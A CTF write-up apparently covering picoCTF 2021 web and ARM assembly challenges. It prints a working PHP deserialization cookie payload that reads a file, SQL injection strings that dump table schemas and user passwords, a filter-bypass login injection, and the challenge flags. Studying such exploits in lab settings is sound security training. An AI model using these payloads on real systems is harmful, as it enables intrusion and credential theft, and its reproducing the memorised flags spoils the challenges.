Tue, 16 Mar. 2021 — Tue, 30 Mar. 2021
Ranked 113th on 6215
- Web
- Super Serial (130 points)
- Startup Company (180 points)
- Web Gauntlet 2 (170 points)
- Web Gauntlet 3 (300 points)
- ARMssembly (Reverse Engineering)
- ARMssembly 0 (40 points)
- ARMssembly 1 (70 points)
- ARMssembly 2 (90 points)
- ARMssembly 3 (130 points)
- ARMssembly 4 (170 points)
We must recover the flag stored on this website at ../flag
An the site, there is only one page: index.php
There is also a robots.txt
:
User-agent: *
Disallow: /admin.phps
With this hint, we found other pages:
index.php
cookie.php
authentication.php
index.phps
cookie.phps
authentication.phps
We can see source code of pages in .phps
files and there is something interesting:
if(isset($_COOKIE["login"])){
try{
$perm = unserialize(base64_decode(urldecode($_COOKIE["login"])));
$g = $perm->is_guest();
$a = $perm->is_admin();
}
catch(Error $e){
die("Deserialization error. ".$perm);
}
}
The object supposed to be deserialized is permissions
but it does not appear to be vulnerable (SQL injection):
class permissions
{
public $username;
public $password;
function __construct($u, $p) {
$this->username = $u;
$this->password = $p;
}
function __toString() {
return $u.$p;
}
function is_guest() {
$guest = false;
$con = new SQLite3("../users.db");
$username = $this->username;
$password = $this->password;
$stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?");
$stm->bindValue(1, $username, SQLITE3_TEXT);
$stm->bindValue(2, $password, SQLITE3_TEXT);
$res = $stm->execute();
$rest = $res->fetchArray();
if($rest["username"]) {
if ($rest["admin"] != 1) {
$guest = true;
}
}
return $guest;
}
function is_admin() {
$admin = false;
$con = new SQLite3("../users.db");
$username = $this->username;
$password = $this->password;
$stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?");
$stm->bindValue(1, $username, SQLITE3_TEXT);
$stm->bindValue(2, $password, SQLITE3_TEXT);
$res = $stm->execute();
$rest = $res->fetchArray();
if($rest["username"]) {
if ($rest["admin"] == 1) {
$admin = true;
}
}
return $admin;
}
}
However, we can serialize an another object which will allow us to read files on the server:
class access_log
{
public $log_file;
function __construct($lf) {
$this->log_file = $lf;
}
function __toString() {
return $this->read_log();
}
function append_to_log($data) {
file_put_contents($this->log_file, $data, FILE_APPEND);
}
function read_log() {
return file_get_contents($this->log_file);
}
}
So, we create an access_log
which will read ../flag
:
echo(serialize(new access_log("../flag")));
// -> O:10:"access_log":1:{s:8:"log_file";s:7:"../flag";}
Encode it in base64 and put it in login
cookie:
login: TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnIjt9
To sum up:
$perm = unserialize(base64_decode(urldecode($_COOKIE["login"])));
serialize anaccess_log
object with$log_file="../flag"
$g = $perm->is_guest();
throw an error becauseaccess_log
doesn't haveis_guest
method- the error is catch by
catch(Error $e)
die("Deserialization error. ".$perm);
call the__toString
method ofaccess_log
which read../flag
and display it content
And we get Deserialization error. picoCTF{th15_vu1n_1s_5up3r_53r1ous_y4ll_405f4c0e}
The flag is: picoCTF{th15_vu1n_1s_5up3r_53r1ous_y4ll_405f4c0e}
We are on a website, we create an account and logged in
There is a number input which accepts only digits, change in HTML type from number
to text
to write all we wants
After some tests, the DBMS is sqlite and the query seems to look like UPDATE table SET col = 'user_input'; SELECT col FROM table
First, we need to retrieve the table name:
' || (SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name not like 'sqlite_%' limit 1 offset 0) || '
-> startup_users
Then the column names:
' || (SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='startup_users') || '
-> CREATE TABLE startup_users (nameuser text, wordpass text, money int)
And dump the datas:
' || (SELECT nameuser || wordpass FROM startup_users limit 1 offset 0) || '
-> admin passwordron
' || (SELECT nameuser || wordpass || money FROM startup_users limit 1 offset 1) || '
-> ronnot_the_flag_293e97bd picoCTF{1_c4nn0t_s33_y0u_eff986fd}
The flag is: picoCTF{1_c4nn0t_s33_y0u_eff986fd}
There is a loggin form and we must loggin as admin
The query is given: SELECT username, password FROM users WHERE username='test' AND password='test'
There is also words filtered: or and true false union like = > < ; -- /* */ admin
With admi'||CHAR(
as username and -0+110)||'
as password, the query is transformed into SELECT username, password FROM users WHERE username='admi'||CHAR(' AND password='-0+110)||''
' AND password='-0+110
is 110
, CHAR(110)
is 'n'
, and 'admi'||'n'||''
is 'admin'
The final query looks like: SELECT username, password FROM users WHERE username='admin'
We are logged in and we get the flag!
The flag is: picoCTF{0n3_m0r3_t1m3_d5a91d8c2ae4ce567c2e8b8453305565}
Like Web Gauntlet 2
except that the maximum size is no longer 35 but 25
Our payload still work because its size is 23
And the flag is: picoCTF{k3ep_1t_sh0rt_fc8788aa1604881093434ba00ba5b9cd}
The given source codes is ARM64 assembly, so we will compile it!
Run an arm64 OS with qemu: https://wiki.debian.org/Arm64Qemu and let's go
(But I think it was not the expected method for a reverse engineering chall)
Description:
What integer does this program print with arguments 4112417903 and 1169092511?
File: chall.S
Flag format: picoCTF{XXXXXXXX} -> (hex, lowercase, no 0x, and 32 bits. ex. 5614267 would be picoCTF{0055aabb})
debian@debian:~$ gcc chall.S
debian@debian:~$ ./a.out 4112417903 1169092511
Result: 4112417903
The flag is: picoCTF{f51e846f}
Description:
For what argument does this program print `win` with variables 81, 0 and 3?
File: chall_1.S
Flag format: picoCTF{XXXXXXXX} -> (hex, lowercase, no 0x, and 32 bits. ex. 5614267 would be picoCTF{0055aabb})
debian@debian:~$ gcc chall_1.S
debian@debian:~$ ./a.out 1
You Lose :(
debian@debian:~$ ./a.out 2
You Lose :(
debian@debian:~$ ./a.out 3
You Lose :(
debian@debian:~$ for i in {0..1000}; do echo -n "$i "; ./a.out $i; done | grep win
27 You win!
The flag is: picoCTF{0000001b}
Description:
What integer does this program print with argument 2610164910?
File: chall_2.S
Flag format: picoCTF{XXXXXXXX} -> (hex, lowercase, no 0x, and 32 bits. ex. 5614267 would be picoCTF{0055aabb})
debian@debian:~$ gcc chall_2.S
debian@debian:~$ ./a.out 2610164910 # toooooo long
^C
debian@debian:~$ ./a.out 1
Result: 3
debian@debian:~$ ./a.out 2
Result: 6
debian@debian:~$ ./a.out 3
Result: 9
debian@debian:~$ ./a.out 4
Result: 12
debian@debian:~$ ./a.out 5
Result: 15
Resutl seams be 2610164910 * 3
, so 7830494730
The flag is: picoCTF{d2bbde0a}
Description:
What integer does this program print with argument 469937816?
File: chall_3.S
Flag format: picoCTF{XXXXXXXX} -> (hex, lowercase, no 0x, and 32 bits. ex. 5614267 would be picoCTF{0055aabb})
debian@debian:~$ gcc chall_3.S
debian@debian:~$ ./a.out 469937816
Result: 36
The flag is: picoCTF{00000024}
Description:
What integer does this program print with argument 3434881889?
File: chall_4.S
Flag format: picoCTF{XXXXXXXX} -> (hex, lowercase, no 0x, and 32 bits. ex. 5614267 would be picoCTF{0055aabb})
debian@debian:~$ gcc chall_4.S
debian@debian:~$ ./a.out 3434881889
Result: 3434882004
The flag is: picoCTF{ccbc23d4}